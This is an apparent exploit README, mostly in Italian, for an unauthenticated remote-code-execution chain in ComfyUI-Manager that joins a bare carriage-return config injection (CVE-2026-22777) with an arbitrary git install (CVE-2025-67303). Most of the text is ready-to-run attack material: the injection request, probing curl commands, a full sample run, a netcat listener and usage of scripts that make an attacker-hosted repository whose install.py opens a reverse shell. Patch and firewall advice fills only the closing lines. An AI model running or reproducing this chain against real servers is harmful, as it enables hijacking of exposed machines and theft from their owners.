
Exploit proof-of-concept che concatena un'iniezione CRLF nell'endpoint di configurazione di ComfyUI-Manager con un'installazione git arbitraria per ottenere l'esecuzione di codice in remoto non autenticata.
Gravità: Critica (CVSS 9.8) Interessati: ComfyUI-Manager < 3.39.2 e 4.0.0 - 4.0.4 Corretto in: ComfyUI-Manager 3.39.2 / 4.0.5 Concatenata con: CVE-2025-67303 (Installazione Git arbitraria -> Esecuzione di codice)
ComfyUI-Manager espone un endpoint /api/manager/db_mode che accetta un parametro di query value e lo scrive direttamente in config.ini usando configparser di Python.
La vulnerabilità è una iniezione di ritorno a capo nudo (\r / %0D):
configparser serializza il valore alla lettera — \r viene memorizzato così com'è nel file.\r nudo come terminatore di riga, dividendo un valore in due direttive INI separate.configparser con strict=False (impostazione predefinita di ComfyUI-Manager) accetta chiavi duplicate e usa l'ultima. Il valore iniettato security_level = weak sovrascrive quello legittimo.Dopo un riavvio l'impostazione falsificata ha effetto, disabilitando il controllo di autenticazione su /api/customnode/install/git_url (CVE-2025-67303). Quell'endpoint clona un repository git arbitrario ed esegue immediatamente install.py da esso come sottoprocesso — concedendo a un attaccante non autenticato l'esecuzione completa di codice.
Step 1 — Inject bare CR into config endpoint
GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak
config.ini on disk after write:
db_mode = cache\r
security_level = weak <- injected via %0D
Step 2 — Reboot Manager to reload forged config
GET /api/manager/reboot
Manager reads config.ini back; universal newlines split the value;
last-key-wins -> security_level = weak
Step 3 — Verify gate (poll until 403 changes to 400)
POST /api/customnode/install/git_url body: http://127.0.0.1/probe.git
403 = gate still closed
400 = gate open, security_level=weak confirmed
Step 4 — Trigger install from evil git repo (CVE-2025-67303)
POST /api/customnode/install/git_url
body: http://ATTACKER:9099/alg-upscaler.git
Manager does:
git clone http://ATTACKER:9099/alg-upscaler.git
python install.py <- reverse shell executes here
| File | Scopo |
|---|---|
setup_evil_repo.sh | Crea il repository git malevolo e lo serve via HTTP |
exploit_ad15.sh | Esegue l'intera catena: iniezione CRLF -> riavvio -> verifica -> attivazione |
autopwn.py | Alternativa Python tutto-in-uno (crea il repo + esegue l'intera catena) |
Passo 1 — Fingerprint della versione
curl -s http://TARGET:8188/api/manager/version
# Vulnerable: "3.39.1" / "4.0.3"
# Patched: "3.39.2" / "4.0.5"
Passo 2 — Conferma che l'endpoint CRLF accetta valori
curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> endpoint exists and is writable
Passo 3 — Sonda il gate di installazione
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://TARGET:8188/api/customnode/install/git_url \
-d "http://127.0.0.1/probe.git"
# 403 -> gate closed (default config, target is injectable)
# 400 -> gate already open (skip Phase 1)
============================================================
CVE-2026-22777 + CVE-2025-67303 Full Chain
============================================================
Target : http://192.168.1.10:8188
Attacker : 10.10.14.1:4444
Evil repo : http://10.10.14.1:9099/alg-upscaler.git
[*] Phase 0: Version fingerprint
ComfyUI-Manager version: "3.39.1" <- vulnerable
[*] Phase 1: CRLF inject -> security_level = weak
[+] Injection sent (HTTP 200)
config.ini now contains:
db_mode = cache\r
security_level = weak <- injected via bare CR
[*] Phase 2: Trigger reboot
[+] Reboot request sent -- waiting 30s for Manager to restart...
[*] Phase 3: Verify security gate
Attempt 1: HTTP 403 <- still rebooting
Attempt 2: HTTP 403
Attempt 3: HTTP 400 <- gate open
[+] Gate OPEN -- security_level=weak is active
[*] Phase 4: Checking evil git repo is reachable
[+] Evil repo reachable (HTTP 200)
[*] Phase 5: Triggering git install (CVE-2025-67303)
ComfyUI-Manager will:
1. git clone http://10.10.14.1:9099/alg-upscaler.git
2. cd into cloned dir
3. python install.py <- reverse shell executes here
Il curl nella Fase 5 si blocca — la reverse shell arriva su nc -lvnp 4444.
| PoC di Vulhub | Questo PoC | |
|---|---|---|
install.py | touch /tmp/success (solo prova di esecuzione) | Reverse shell Python verso l'attaccante |
| Risultato | Nessuna shell interattiva | Shell interattiva completa |
| PoC di Vulhub | Questo PoC | |
|---|---|---|
| Linguaggio | Singolo file Python | Bash, 2 script separati |
| Pulizia | tempfile.TemporaryDirectory (eliminato automaticamente su Ctrl+C) | Manuale (rimane su disco) |
| Nome del repo | Casuale (es. evil-node-a1b2c3) | Fisso: alg-upscaler |
| PoC di Vulhub | Questo PoC | |
|---|---|---|
| CVE-2026-22777 (iniezione CRLF) | Non incluso | In exploit_ad15.sh Fase 1 |
| Riavvio + verifica del gate | Non incluso | Attende 30s poi esegue polling 403->400 |
| Attivazione dell'installazione | curl manuale | Automatizzato nella Fase 5 |
Passo 1 — Configura il repository malevolo e il listener (due terminali)
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — build and serve evil repo
bash setup_evil_repo.sh 10.10.14.1 4444
Passo 2 — Esegui l'intera catena di exploit
# Terminal 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444
La shell arriva nel Terminale 1 dopo la Fase 5.
Alternativa — Python tutto-in-uno
# Blind command
python3 autopwn.py http://192.168.1.10:8188 --command "id"
# Reverse shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444
Aggiornamento (consigliato): ComfyUI-Manager 3.39.2 o 4.0.5+.
La patch rimuove \r e \n prima di scrivere qualsiasi parametro di query in config.ini.
Mitigazioni di rete (se la patch non è immediata):
8188 a livello di firewall — ComfyUI non è progettato per l'esposizione pubblica./api/manager/* e /api/customnode/*.config.ini di sola lettura: chmod 444 config.ini.